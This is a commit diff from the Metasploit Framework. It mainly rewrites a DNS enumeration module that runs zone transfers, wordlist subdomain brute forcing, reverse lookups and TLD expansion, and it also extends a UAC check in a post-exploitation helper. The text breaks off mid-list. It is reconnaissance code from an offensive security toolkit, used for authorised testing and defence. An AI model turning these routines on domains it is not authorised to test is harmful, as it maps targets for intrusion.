Merge remote-tracking branch 'refs/remotes/rapid7/master'

bug/bundler_fix
xiaozhouzhou 2016-04-17 11:17:28 +08:00
commit ce5be22215
18 changed files with 1307 additions and 453 deletions

View File

@ -1,7 +1,7 @@
PATH PATH
remote: . remote: .
specs: specs:
metasploit-framework (4.11.21) metasploit-framework (4.11.22)
actionpack (>= 4.0.9, < 4.1.0) actionpack (>= 4.0.9, < 4.1.0)
activerecord (>= 4.0.9, < 4.1.0) activerecord (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0)

View File

@ -30,7 +30,7 @@ module Metasploit
end end
end end
VERSION = "4.11.21" VERSION = "4.11.22"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev' PRERELEASE = 'dev'
HASH = get_hash HASH = get_hash

View File

@ -90,7 +90,7 @@ module Msf::Post::Windows::Priv
uac = false uac = false
winversion = session.sys.config.sysinfo['OS'] winversion = session.sys.config.sysinfo['OS']
if winversion =~ /Windows (Vista|7|8|2008|2012)/ if winversion =~ /Windows (Vista|7|8|2008|2012|10)/
unless is_system? unless is_system?
begin begin
enable_lua = registry_getvaldata( enable_lua = registry_getvaldata(

View File

@ -1031,8 +1031,9 @@ module Net # :nodoc:
@logger.info "Received #{ans[0].size} bytes from #{ans[1][2]+":"+ans[1][1].to_s}" @logger.info "Received #{ans[0].size} bytes from #{ans[1][2]+":"+ans[1][1].to_s}"
begin begin
response = Net::DNS::Packet.parse(ans[0],ans[1]) return unless (response = Net::DNS::Packet.parse(ans[0],ans[1]))
if response && response.answer && response.answer[0] && response.answer[0].type == "SOA" return if response.answer.empty?
if response.answer[0].type == "SOA"
soa += 1 soa += 1
if soa >= 2 if soa >= 2
break break
@ -1214,6 +1215,7 @@ module Net # :nodoc:
end end
if block_given? if block_given?
yield [buffer,["",@config[:port],ns.to_s,ns.to_s]] yield [buffer,["",@config[:port],ns.to_s,ns.to_s]]
break
else else
return [buffer,["",@config[:port],ns.to_s,ns.to_s]] return [buffer,["",@config[:port],ns.to_s,ns.to_s]]
end end

View File

@ -8,7 +8,7 @@ require 'net/dns/rr/types'
require 'net/dns/rr/classes' require 'net/dns/rr/classes'
%w[a ns mx cname txt soa ptr aaaa mr srv].each do |file| %w[a ns mx cname txt hinfo soa ptr aaaa mr srv].each do |file|
require "net/dns/rr/#{file}" require "net/dns/rr/#{file}"
end end

View File

@ -62,7 +62,7 @@ module Net
len = data.unpack("@#{offset} C")[0] len = data.unpack("@#{offset} C")[0]
@cpu = data[offset+1..offset+1+len] @cpu = data[offset+1..offset+1+len]
offset += len+1 offset += len+1
len = @data.unpack("@#{offset} C")[0] len = data.unpack("@#{offset} C")[0]
@os = data[offset+1..offset+1+len] @os = data[offset+1..offset+1+len]
return offset += len+1 return offset += len+1
end end

View File

@ -88,7 +88,7 @@ module Rex
def report_web_host_info def report_web_host_info
return unless @state[:host] return unless @state[:host]
address = Rex::Socket.resolv_to_dotted(@state[:host]) rescue nil address = Rex::Socket.resolv_to_dotted(@state[:host]) rescue nil
host_info = {:workspace => @args[:wspace]} host_info = {workspace: @args[:wspace]}
host_info[:address] = address host_info[:address] = address
host_info[:name] = @state[:host] host_info[:name] = @state[:host]
db_report(:host, host_info) db_report(:host, host_info)
@ -99,7 +99,7 @@ module Rex
return unless @state[:port] return unless @state[:port]
return unless @state[:proto] return unless @state[:proto]
return unless @state[:service_name] return unless @state[:service_name]
service_info = {} service_info = {workspace: @args[:wspace]}
service_info[:host] = @state[:host] service_info[:host] = @state[:host]
service_info[:port] = @state[:port] service_info[:port] = @state[:port]
service_info[:proto] = @state[:proto] service_info[:proto] = @state[:proto]
@ -112,7 +112,7 @@ module Rex
return unless @state[:vuln_name] return unless @state[:vuln_name]
return unless @state[:issue_detail] return unless @state[:issue_detail]
return unless @state[:refs] return unless @state[:refs]
vuln_info = {} vuln_info = {workspace: @args[:wspace]}
vuln_info[:service_id] = @state[:service_object].id vuln_info[:service_id] = @state[:service_object].id
vuln_info[:host] = @state[:host] vuln_info[:host] = @state[:host]
vuln_info[:name] = @state[:vuln_name] vuln_info[:name] = @state[:vuln_name]

View File

@ -134,6 +134,7 @@ module Parser
vuln_info[:info] = @state[:vuln_desc] vuln_info[:info] = @state[:vuln_desc]
vuln_info[:port] = @state[:port] vuln_info[:port] = @state[:port]
vuln_info[:proto] = @state[:proto] vuln_info[:proto] = @state[:proto]
vuln_info[:workspace] = @args[:wspace]
db_report(:vuln, vuln_info) db_report(:vuln, vuln_info)
end end
@ -147,6 +148,7 @@ module Parser
vuln_info[:info] = @state[:vuln_desc] vuln_info[:info] = @state[:vuln_desc]
vuln_info[:port] = @state[:port] vuln_info[:port] = @state[:port]
vuln_info[:proto] = @state[:proto] vuln_info[:proto] = @state[:proto]
vuln_info[:workspace] = @args[:wspace]
db_report(:vuln, vuln_info) db_report(:vuln, vuln_info)
end end
@ -159,11 +161,13 @@ module Parser
service_info[:name] = @state[:name] service_info[:name] = @state[:name]
service_info[:port] = @state[:port] service_info[:port] = @state[:port]
service_info[:proto] = @state[:proto] service_info[:proto] = @state[:proto]
service_info[:workspace] = @args[:wspace]
db_report(:service, service_info) db_report(:service, service_info)
host_info = {} host_info = {}
host_info[:host] = @state[:host] host_info[:host] = @state[:host]
host_info[:workspace] = @args[:wspace]
db_report(:host, host_info) db_report(:host, host_info)
end end

View File

@ -1,10 +1,11 @@
## ##
# This module requires Metasploit: http://metasploit.com/download # This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework # Current source: https://github.com/rapid7/metasploit-framework
## ##
require 'msf/core' require 'msf/core'
require "net/dns/resolver" require 'net/dns/resolver'
class MetasploitModule < Msf::Auxiliary class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
@ -12,472 +13,413 @@ class MetasploitModule < Msf::Auxiliary
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'DNS Record Scanner and Enumerator', 'Name' => 'DNS Record Scanner and Enumerator',
'Description' => %q{ 'Description' => %q(
This module can be used to gather information about a domain from a This module can be used to gather information about a domain from a
given DNS server by performing various DNS queries such as zone given DNS server by performing various DNS queries such as zone
transfers, reverse lookups, SRV record bruteforcing, and other techniques. transfers, reverse lookups, SRV record bruteforcing, and other techniques.
),
}, 'Author' => [
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>' ], 'Carlos Perez <carlos_perez[at]darkoperator.com>',
'Nixawk'
],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'References' => 'References' => [
[
['CVE', '1999-0532'], ['CVE', '1999-0532'],
['OSVDB', '492'], ['OSVDB', '492']
] ]))
))
register_options( register_options(
[ [
OptString.new('DOMAIN', [ true, "The target domain name"]), OptString.new('DOMAIN', [true, 'The target domain']),
OptBool.new('ENUM_AXFR', [true, 'Initiate a zone transfer against each NS record', true]), OptBool.new('ENUM_AXFR', [true, 'Initiate a zone transfer against each NS record', true]),
OptBool.new('ENUM_TLD', [ true, 'Perform a TLD expansion by replacing the TLD with the IANA TLD list', false]),
OptBool.new('ENUM_STD', [ true, 'Enumerate standard record types (A,MX,NS,TXT and SOA)', true]),
OptBool.new('ENUM_BRT', [true, 'Brute force subdomains and hostnames via the supplied wordlist', false]), OptBool.new('ENUM_BRT', [true, 'Brute force subdomains and hostnames via the supplied wordlist', false]),
OptBool.new('ENUM_IP6', [ true, 'Brute force hosts with IPv6 AAAA records',false]), OptBool.new('ENUM_A', [true, 'Enumerate DNS A record', true]),
OptBool.new('ENUM_CNAME', [true, 'Enumerate DNS CNAME record', true]),
OptBool.new('ENUM_MX', [true, 'Enumerate DNS MX record', true]),
OptBool.new('ENUM_NS', [true, 'Enumerate DNS NS record', true]),
OptBool.new('ENUM_SOA', [true, 'Enumerate DNS SOA record', true]),
OptBool.new('ENUM_TXT', [true, 'Enumerate DNS TXT record', true]),
OptBool.new('ENUM_RVL', [ true, 'Reverse lookup a range of IP addresses', false]), OptBool.new('ENUM_RVL', [ true, 'Reverse lookup a range of IP addresses', false]),
OptBool.new('ENUM_TLD', [true, 'Perform a TLD expansion by replacing the TLD with the IANA TLD list', false]),
OptBool.new('ENUM_SRV', [true, 'Enumerate the most common SRV records', true]), OptBool.new('ENUM_SRV', [true, 'Enumerate the most common SRV records', true]),
OptPath.new('WORDLIST', [ false, "Wordlist for domain name bruteforcing", ::File.join(Msf::Config.data_directory, "wordlists", "namelist.txt")]), OptBool.new('STOP_WLDCRD', [true, 'Stops bruteforce enumeration if wildcard resolution is detected', false]),
OptAddress.new('NS', [ false, "Specify the nameserver to use for queries (default is system DNS)" ]), OptAddress.new('NS', [false, 'Specify the nameserver to use for queries (default is system DNS)']),
OptAddressRange.new('IPRANGE', [false, "The target address range or CIDR identifier"]), OptAddressRange.new('IPRANGE', [false, "The target address range or CIDR identifier"]),
OptBool.new('STOP_WLDCRD', [ true, 'Stops bruteforce enumeration if wildcard resolution is detected', false]) OptInt.new('THREADS', [false, 'Threads for ENUM_BRT', 1]),
OptPath.new('WORDLIST', [false, 'Wordlist of subdomains', ::File.join(Msf::Config.data_directory, 'wordlists', 'namelist.txt')])
], self.class) ], self.class)
register_advanced_options( register_advanced_options(
[ [
OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received", 2]), OptInt.new('TIMEOUT', [false, 'DNS TIMEOUT', 8]),
OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry", 2]), OptInt.new('RETRY', [false, 'Number of times to try to resolve a record if no response is received', 2]),
OptBool.new('TCP_DNS', [false, "Run queries over TCP", false]), OptInt.new('RETRY_INTERVAL', [false, 'Number of seconds to wait before doing a retry', 2]),
OptBool.new('TCP_DNS', [false, 'Run queries over TCP', false])
], self.class) ], self.class)
end end
def switchdns(target)
if not datastore['NS'].nil?
print_status("Using DNS Server: #{datastore['NS']}")
@res.nameserver=(datastore['NS'])
@nsinuse = datastore['NS']
else
querysoa = @res.query(target, "SOA")
if (querysoa)
(querysoa.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr|
query1soa = @res.search(rr.mname)
if (query1soa and query1soa.answer[0])
print_status("Setting DNS Server to #{target} NS: #{query1soa.answer[0].address}")
@res.nameserver=(query1soa.answer[0].address)
@nsinuse = query1soa.answer[0].address
end
end
end
end
end
def wildcard(target)
rendsub = rand(10000).to_s
query = @res.query("#{rendsub}.#{target}", "A")
if query.answer.length != 0
print_status("This domain has wildcards enabled!!")
query.answer.each do |rr|
print_status("Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME
end
return true
else
return false
end
end
def genrcd(target)
print_status("Retrieving general DNS records")
query = @res.search(target)
if (query)
query.answer.each do |rr|
next unless rr.class == Net::DNS::RR::A
print_status("Domain: #{target} IP address: #{rr.address} Record: A ")
report_note(:host => @nsinuse.to_s,
:proto => 'udp',
:sname => 'dns',
:port => 53 ,
:type => 'dns.enum',
:update => :unique_data,
:data => "#{rr.address.to_s},#{target},A")
end
end
query = @res.query(target, "SOA")
if (query)
(query.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr|
query1 = @res.search(rr.mname)
if (query1)
query1.answer.each do |ip|
print_status("Start of Authority: #{rr.mname} IP address: #{ip.address} Record: SOA")
report_note(:host => @nsinuse.to_s,
:proto => 'udp',
:sname => 'dns',
:port => 53 ,
:type => 'dns.enum',
:update => :unique_data,
:data => "#{ip.address.to_s},#{rr.mname},SOA")
end
end
end
end
query = @res.query(target, "NS")
if (query)
(query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |rr|
query1 = @res.search(rr.nsdname)
if (query1)
query1.answer.each do |ip|
next unless ip.class == Net::DNS::RR::A
print_status("Name Server: #{rr.nsdname} IP address: #{ip.address} Record: NS")
report_note(:host => @nsinuse.to_s,
:proto => 'udp',
:sname => 'dns',
:port => 53 ,
:type => 'dns.enum',
:update => :unique_data,
:data => "#{ip.address.to_s},#{rr.nsdname},NS")
end
end
end
end
query = @res.query(target, "MX")
if (query)
(query.answer.select { |i| i.class == Net::DNS::RR::MX}).each do |rr|
print_status("Name: #{rr.exchange} Preference: #{rr.preference} Record: MX")
report_note(:host => @nsinuse.to_s,
:proto => 'udp',
:sname => 'dns',
:port => 53 ,
:type => 'dns.enum',
:update => :unique_data,
:data => "#{rr.exchange},MX")
end
end
query = @res.query(target, "TXT")
if (query)
query.answer.each do |rr|
print_status(rr.inspect)
print_status("Text: #{rr.inspect}")
report_note(:host => @nsinuse.to_s,
:proto => 'udp',
:sname => 'dns',
:port => 53 ,
:type => 'dns.enum',
:update => :unique_data,
:data => rr.inspect)
end
end
end
def tldexpnd(targetdom,nssrv)
target = targetdom.scan(/(\S*)[.]\w*\z/).join
target.chomp!
if not nssrv.nil?
@res.nameserver=(nssrv)
@nsinuse = nssrv
end
i, a = 0, []
tlds = [
"com", "org", "net", "edu", "mil", "gov", "uk", "af", "al", "dz",
"as", "ad", "ao", "ai", "aq", "ag", "ar", "am", "aw", "ac", "au",
"at", "az", "bs", "bh", "bd", "bb", "by", "be", "bz", "bj", "bm",
"bt", "bo", "ba", "bw", "bv", "br", "io", "bn", "bg", "bf", "bi",
"kh", "cm", "ca", "cv", "ky", "cf", "td", "cl", "cn", "cx", "cc",
"co", "km", "cd", "cg", "ck", "cr", "ci", "hr", "cu", "cy", "cz",
"dk", "dj", "dm", "do", "tp", "ec", "eg", "sv", "gq", "er", "ee",
"et", "fk", "fo", "fj", "fi", "fr", "gf", "pf", "tf", "ga", "gm",
"ge", "de", "gh", "gi", "gr", "gl", "gd", "gp", "gu", "gt", "gg",
"gn", "gw", "gy", "ht", "hm", "va", "hn", "hk", "hu", "is", "in",
"id", "ir", "iq", "ie", "im", "il", "it", "jm", "jp", "je", "jo",
"kz", "ke", "ki", "kp", "kr", "kw", "kg", "la", "lv", "lb", "ls",
"lr", "ly", "li", "lt", "lu", "mo", "mk", "mg", "mw", "my", "mv",
"ml", "mt", "mh", "mq", "mr", "mu", "yt", "mx", "fm", "md", "mc",
"mn", "ms", "ma", "mz", "mm", "na", "nr", "np", "nl", "an", "nc",
"nz", "ni", "ne", "ng", "nu", "nf", "mp", "no", "om", "pk", "pw",
"pa", "pg", "py", "pe", "ph", "pn", "pl", "pt", "pr", "qa", "re",
"ro", "ru", "rw", "kn", "lc", "vc", "ws", "sm", "st", "sa", "sn",
"sc", "sl", "sg", "sk", "si", "sb", "so", "za", "gz", "es", "lk",
"sh", "pm", "sd", "sr", "sj", "sz", "se", "ch", "sy", "tw", "tj",
"tz", "th", "tg", "tk", "to", "tt", "tn", "tr", "tm", "tc", "tv",
"ug", "ua", "ae", "gb", "us", "um", "uy", "uz", "vu", "ve", "vn",
"vg", "vi", "wf", "eh", "ye", "yu", "za", "zr", "zm", "zw", "int",
"gs", "info", "biz", "su", "name", "coop", "aero" ]
print_status("Performing Top Level Domain expansion using #{tlds.size} TLDs")
tlds.each do |tld|
query1 = @res.search("#{target}.#{tld}")
if (query1)
query1.answer.each do |rr|
print_status("Domain: #{target}.#{tld} Name: #{rr.name} IP address: #{rr.address} Record: A ") if rr.class == Net::DNS::RR::A
report_note(:host => @nsinuse.to_s,
:proto => 'udp',
:sname => 'dns',
:port => 53,
:type => 'dns.enum',
:update => :unique_data,
:data => "#{rr.address.to_s},#{target}.#{tld},A") if rr.class == Net::DNS::RR::A
end
end
end
end
def dnsbrute(target, wordlist, nssrv)
print_status("Running bruteforce against domain #{target}")
arr = []
i, a = 0, []
::File.open(wordlist, "rb").each_line do |line|
if not nssrv.nil?
@res.nameserver=(nssrv)
@nsinuse = nssrv
end
query1 = @res.search("#{line.chomp}.#{target}")
if (query1)
query1.answer.each do |rr|
if rr.class == Net::DNS::RR::A
print_status("Hostname: #{line.chomp}.#{target} IP address: #{rr.address.to_s}")
report_note(:host => @nsinuse.to_s,
:proto => 'udp',
:sname => 'dns',
:port => 53 ,
:type => 'dns.enum',
:update => :unique_data,
:data => "#{rr.address.to_s},#{line.chomp}.#{target},A")
next unless rr.class == Net::DNS::RR::CNAME
end
end
end
end
end
def bruteipv6(target, wordlist, nssrv)
print_status("Bruteforcing IPv6 addresses against domain #{target}")
arr = []
i, a = 0, []
arr = IO.readlines(wordlist)
if not nssrv.nil?
@res.nameserver=(nssrv)
@nsinuse = nssrv
end
arr.each do |line|
query1 = @res.search("#{line.chomp}.#{target}", "AAAA")
if (query1)
query1.answer.each do |rr|
if rr.class == Net::DNS::RR::AAAA
print_status("Hostname: #{line.chomp}.#{target} IPv6 Address: #{rr.address.to_s}")
report_note(:host => @nsinuse.to_s,
:proto => 'udp',
:sname => 'dns',
:port => 53 ,
:type => 'dns.enum',
:update => :unique_data,
:data => "#{rr.address.to_s},#{line.chomp}.#{target},AAAA")
next unless rr.class == Net::DNS::RR::CNAME
end
end
end
end
end
def reverselkp(iprange,nssrv)
print_status("Running reverse lookup against IP range #{iprange}")
if not nssrv.nil?
@res.nameserver = (nssrv)
@nsinuse = nssrv
end
ar = Rex::Socket::RangeWalker.new(iprange)
tl = []
while (true)
# Spawn threads for each host
while (tl.length < @threadnum)
ip = ar.next_ip
break if not ip
tl << framework.threads.spawn("Module(#{self.refname})-#{ip}", false, ip.dup) do |tip|
begin
query = @res.query(tip)
raise ::Rex::ConnectionError
query.each_ptr do |addresstp|
print_status("Hostname: #{addresstp} IP address: #{tip.to_s}")
report_note(:host => @nsinuse.to_s,
:proto => 'udp',
:sname => 'dns',
:port => 53 ,
:type => 'dns.enum',
:update => :unique_data,
:data => "#{addresstp},#{tip},A")
end
rescue ::Interrupt
raise $!
rescue ::Rex::ConnectionError
rescue ::Exception => e
print_error("Error: #{tip}: #{e.message}")
elog("Error running against host #{tip}: #{e.message}\n#{e.backtrace.join("\n")}")
end
end
end
# Exit once we run out of hosts
if(tl.length == 0)
break
end
tl.first.join
tl.delete_if { |t| not t.alive? }
end
end
# SRV Record Enumeration
def srvqry(dom,nssrv)
print_status("Enumerating SRV records for #{dom}")
i, a = 0, []
# Most common SRV Records
srvrcd = [
"_gc._tcp.","_kerberos._tcp.", "_kerberos._udp.","_ldap._tcp.","_test._tcp.",
"_sips._tcp.","_sip._udp.","_sip._tcp.","_aix._tcp.","_aix._tcp.","_finger._tcp.",
"_ftp._tcp.","_http._tcp.","_nntp._tcp.","_telnet._tcp.","_whois._tcp.","_h323cs._tcp.",
"_h323cs._udp.","_h323be._tcp.","_h323be._udp.","_h323ls._tcp.","_h323ls._udp.",
"_sipinternal._tcp.","_sipinternaltls._tcp.","_sip._tls.","_sipfederationtls._tcp.",
"_jabber._tcp.","_xmpp-server._tcp.","_xmpp-client._tcp.","_imap._tcp.","_certificates._tcp.",
"_crls._tcp.","_pgpkeys._tcp.","_pgprevokations._tcp.","_cmp._tcp.","_svcp._tcp.","_crl._tcp.",
"_ocsp._tcp.","_PKIXREP._tcp.","_smtp._tcp.","_hkp._tcp.","_hkps._tcp.","_jabber._udp.",
"_xmpp-server._udp.","_xmpp-client._udp.","_jabber-client._tcp.","_jabber-client._udp."]
srvrcd.each do |srvt|
trg = "#{srvt}#{dom}"
query = @res.query(trg , Net::DNS::SRV)
next unless query
query.answer.each do |srv|
next if srv.type == "CNAME"
print_status("SRV Record: #{trg} Host: #{srv.host} Port: #{srv.port} Priority: #{srv.priority}")
end
end
print_status("Done")
end
# For Performing Zone Transfers
def axfr(target, nssrv)
print_status("Performing zone transfer against all nameservers in #{target}")
if not nssrv.nil?
@res.nameserver=(nssrv)
@nsinuse = nssrv
end
@res.tcp_timeout=15
query = @res.query(target, "NS")
if query && query.answer.length != 0
(query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |nsrcd|
print_status("Testing nameserver: #{nsrcd.nsdname}")
nssrvquery = @res.query(nsrcd.nsdname, "A")
if nssrvquery.answer.length == 0
nssrvip = Rex::Socket.gethostbyname(nsrcd.nsdname)[3].bytes.reduce {|a,b| [a,b].join(".")}
else
nssrvip = nssrvquery.answer[0].address.to_s
end
begin
@res.nameserver=(nssrvip)
@nsinuse = nssrvip
zone = []
begin
zone = @res.axfr(target)
rescue ::NoResponseError
end
if zone.length != 0
print_status("Zone transfer successful")
report_note(:host => nssrvip,
:proto => 'udp',
:sname => 'dns',
:port => 53 ,
:type => 'dns.enum',
:update => :unique_data,
:data => zone)
# Prints each record according to its type
zone.each do |response|
response.answer.each do |rr|
begin
case rr.type
when "A"
print_status("Name: #{rr.name} IP address: #{rr.address} Record: A ")
when "SOA"
print_status("Name: #{rr.mname} Record: SOA")
when "MX"
print_status("Name: #{rr.exchange} Preference: #{rr.preference} Record: MX")
when "CNAME"
print_status("Name: #{rr.cname} Record: CNAME")
when "HINFO"
print_status("CPU: #{rr.cpu} OS: #{rr.os} Record: HINFO")
when "AAAA"
print_status("IPv6 Address: #{rr.address} Record: AAAA")
when "NS"
print_status("Name: #{rr.nsdname} Record: NS")
when "TXT"
print_status("Text: #{rr.inspect}")
when "SRV"
print_status("Host: #{rr.host} Port: #{rr.port} Priority: #{rr.priority} Record: SRV")
end
rescue ActiveRecord::RecordInvalid
# Do nothing. Probably tried to store :host => 127.0.0.1
end
end
end
else
print_error("Zone transfer failed (length was zero)")
end
rescue Exception => e
print_error("Error executing zone transfer: #{e.message}")
elog("Error executing zone transfer: #{e.message}\n#{e.backtrace.join("\n")}")
end
end
else
print_error("Could not resolve domain #{target}")
end
end
def run def run
@res = Net::DNS::Resolver.new() domain = datastore['DOMAIN']
if datastore['TCP_DNS'] is_wildcard = dns_wildcard_enabled?(domain)
vprint_status("Using DNS/TCP")
@res.use_tcp = true
end
@res.retry = datastore['RETRY'].to_i
@res.retry_interval = datastore['RETRY_INTERVAL'].to_i
@threadnum = datastore['THREADS'].to_i
wldcrd = wildcard(datastore['DOMAIN'])
switchdns(datastore['DOMAIN'])
if(datastore['ENUM_STD']) axfr(domain) if datastore['ENUM_AXFR']
genrcd(datastore['DOMAIN']) get_a(domain) if datastore['ENUM_A']
end get_cname(domain) if datastore['ENUM_CNAME']
get_ns(domain) if datastore['ENUM_NS']
get_mx(domain) if datastore['ENUM_MX']
get_soa(domain) if datastore['ENUM_SOA']
get_txt(domain) if datastore['ENUM_TXT']
get_tld(domain) if datastore['ENUM_TLD']
get_srv(domain) if datastore['ENUM_SRV']
threads = datastore['THREADS']
dns_reverse(datastore['IPRANGE'], threads) if datastore['ENUM_RVL']
if(datastore['ENUM_TLD']) return unless datastore['ENUM_BRT']
tldexpnd(datastore['DOMAIN'],datastore['NS']) if is_wildcard
end dns_bruteforce(domain, threads) unless datastore['STOP_WLDCRD']
if(datastore['ENUM_BRT'])
if wldcrd and datastore['STOP_WLDCRD']
print_error("Wildcard record found!")
else else
dnsbrute(datastore['DOMAIN'],datastore['WORDLIST'],datastore['NS']) dns_bruteforce(domain, threads)
end end
end end
if(datastore['ENUM_IP6']) def dns_query(domain, type)
if wldcrd and datastore['STOP_WLDCRD'] begin
print_status("Wildcard Record Found!") nameserver = datastore['NS']
if nameserver.blank?
dns = Net::DNS::Resolver.new
else else
bruteipv6(datastore['DOMAIN'],datastore['WORDLIST'],datastore['NS']) dns = Net::DNS::Resolver.new(nameservers: ::Rex::Socket.resolv_to_dotted(nameserver))
end
dns.use_tcp = datastore['TCP_DNS']
dns.udp_timeout = datastore['TIMEOUT']
dns.retry_number = datastore['RETRY']
dns.retry_interval = datastore['RETRY_INTERVAL']
dns.query(domain, type)
rescue ResolverArgumentError, Errno::ETIMEDOUT, ::NoResponseError, ::Timeout::Error => e
print_error("Query #{domain} DNS #{type} - exception: #{e}")
return nil
end end
end end
if(datastore['ENUM_AXFR']) def dns_bruteforce(domain, threads)
axfr(datastore['DOMAIN'],datastore['NS']) wordlist = datastore['WORDLIST']
return if wordlist.blank?
threads = 1 if threads <= 0
queue = []
File.foreach(wordlist) do |line|
queue << "#{line.chomp}.#{domain}"
end end
if(datastore['ENUM_SRV']) records = []
srvqry(datastore['DOMAIN'],datastore['NS']) until queue.empty?
t = []
threads = 1 if threads <= 0
if queue.length < threads
# work around issue where threads not created as the queue isn't large enough
threads = queue.length
end end
if(datastore['ENUM_RVL'] and datastore['IPRANGE'] and not datastore['IPRANGE'].empty?) begin
reverselkp(datastore['IPRANGE'],datastore['NS']) 1.upto(threads) do
t << framework.threads.spawn("Module(#{refname})", false, queue.shift) do |test_current|
Thread.current.kill unless test_current
a = get_a(test_current, 'DNS bruteforce records')
records |= a if a
end end
end end
t.map(&:join)
rescue ::Timeout::Error
ensure
t.each { |x| x.kill rescue nil }
end
end
records
end
def dns_reverse(cidr, threads)
iplst = []
ipadd = Rex::Socket::RangeWalker.new(cidr)
numip = ipadd.num_ips
while iplst.length < numip
ipa = ipadd.next_ip
break unless ipa
iplst << ipa
end
records = []
while !iplst.nil? && !iplst.empty?
t = []
threads = 1 if threads <= 0
begin
1.upto(threads) do
t << framework.threads.spawn("Module(#{refname})", false, iplst.shift) do |ip_text|
next if ip_text.nil?
a = get_ptr(ip_text)
records |= a if a
end
end
t.map(&:join)
rescue ::Timeout::Error
ensure
t.each { |x| x.kill rescue nil }
end
end
records
end
def dns_wildcard_enabled?(domain)
records = get_a("#{Rex::Text.rand_text_alpha(16)}.#{domain}", 'DNS wildcard records')
if records.blank?
false
else
print_warning('dns wildcard is enable OR fake dns server')
true
end
end
def get_ptr(ip)
resp = dns_query(ip, nil)
return if resp.blank? || resp.answer.blank?
records = []
resp.answer.each do |r|
next unless r.class == Net::DNS::RR::PTR
records << r.ptr.to_s
print_good("#{ip}: PTR: #{r.ptr} ")
end
return if records.blank?
save_note(ip, 'DNS PTR records', records)
records
end
def get_a(domain, type='DNS A records')
resp = dns_query(domain, 'A')
return if resp.blank? || resp.answer.blank?
records = []
resp.answer.each do |r|
next unless r.class == Net::DNS::RR::A
records << r.address.to_s
print_good("#{domain} A: #{r.address} ") if datastore['ENUM_BRT']
end
return if records.blank?
save_note(domain, type, records)
records
end
def get_cname(domain)
print_status("querying DNS CNAME records for #{domain}")
resp = dns_query(domain, 'CNAME')
return if resp.blank? || resp.answer.blank?
records = []
resp.answer.each do |r|
next unless r.class == Net::DNS::RR::CNAME
records << r.cname.to_s
print_good("#{domain} CNAME: #{r.cname}")
end
return if records.blank?
save_note(domain, 'DNS CNAME records', records)
records
end
def get_ns(domain)
print_status("querying DNS NS records for #{domain}")
resp = dns_query(domain, 'NS')
return if resp.blank? || resp.answer.blank?
records = []
resp.answer.each do |r|
next unless r.class == Net::DNS::RR::NS
records << r.nsdname.to_s
print_good("#{domain} NS: #{r.nsdname}")
end
return if records.blank?
save_note(domain, 'DNS NS records', records)
records
end
def get_mx(domain)
print_status("querying DNS MX records for #{domain}")
begin
resp = dns_query(domain, 'MX')
return if resp.blank? || resp.answer.blank?
records = []
resp.answer.each do |r|
next unless r.class == Net::DNS::RR::MX
records << r.exchange.to_s
print_good("#{domain} MX: #{r.exchange}")
end
rescue SocketError => e
print_error("Query #{domain} DNS MX - exception: #{e}")
ensure
return if records.blank?
save_note(domain, 'DNS MX records', records)
records
end
end
def get_soa(domain)
print_status("querying DNS SOA records for #{domain}")
resp = dns_query(domain, 'SOA')
return if resp.blank? || resp.answer.blank?
records = []
resp.answer.each do |r|
next unless r.class == Net::DNS::RR::SOA
records << r.mname.to_s
print_good("#{domain} SOA: #{r.mname}")
end
return if records.blank?
save_note(domain, 'DNS SOA records', records)
records
end
def get_txt(domain)
print_status("querying DNS TXT records for #{domain}")
resp = dns_query(domain, 'TXT')
return if resp.blank? || resp.answer.blank?
records = []
resp.answer.each do |r|
next unless r.class == Net::DNS::RR::TXT
records << r.txt.to_s
print_good("#{domain} TXT: #{r.txt}")
end
return if records.blank?
save_note(domain, 'DNS TXT records', records)
records
end
def get_tld(domain)
begin
print_status("querying DNS TLD records for #{domain}")
domain_ = domain.split('.')
domain_.pop
domain_ = domain_.join('.')
tlds = [
'com', 'org', 'net', 'edu', 'mil', 'gov', 'uk', 'af', 'al', 'dz',
'as', 'ad', 'ao', 'ai', 'aq', 'ag', 'ar', 'am', 'aw', 'ac', 'au',
'at', 'az', 'bs', 'bh', 'bd', 'bb', 'by', 'be', 'bz', 'bj', 'bm',
'bt', 'bo', 'ba', 'bw', 'bv', 'br', 'io', 'bn', 'bg', 'bf', 'bi',
'kh', 'cm', 'ca', 'cv', 'ky', 'cf', 'td', 'cl', 'cn', 'cx', 'cc',
'co', 'km', 'cd', 'cg', 'ck', 'cr', 'ci', 'hr', 'cu', 'cy', 'cz',
'dk', 'dj', 'dm', 'do', 'tp', 'ec', 'eg', 'sv', 'gq', 'er', 'ee',
'et', 'fk', 'fo', 'fj', 'fi', 'fr', 'gf', 'pf', 'tf', 'ga', 'gm',
'ge', 'de', 'gh', 'gi', 'gr', 'gl', 'gd', 'gp', 'gu', 'gt', 'gg',
'gn', 'gw', 'gy', 'ht', 'hm', 'va', 'hn', 'hk', 'hu', 'is', 'in',
'id', 'ir', 'iq', 'ie', 'im', 'il', 'it', 'jm', 'jp', 'je', 'jo',
'kz', 'ke', 'ki', 'kp', 'kr', 'kw', 'kg', 'la', 'lv', 'lb', 'ls',
'lr', 'ly', 'li', 'lt', 'lu', 'mo', 'mk', 'mg', 'mw', 'my', 'mv',
'ml', 'mt', 'mh', 'mq', 'mr', 'mu', 'yt', 'mx', 'fm', 'md', 'mc',
'mn', 'ms', 'ma', 'mz', 'mm', 'na', 'nr', 'np', 'nl', 'an', 'nc',
'nz', 'ni', 'ne', 'ng', 'nu', 'nf', 'mp', 'no', 'om', 'pk', 'pw',
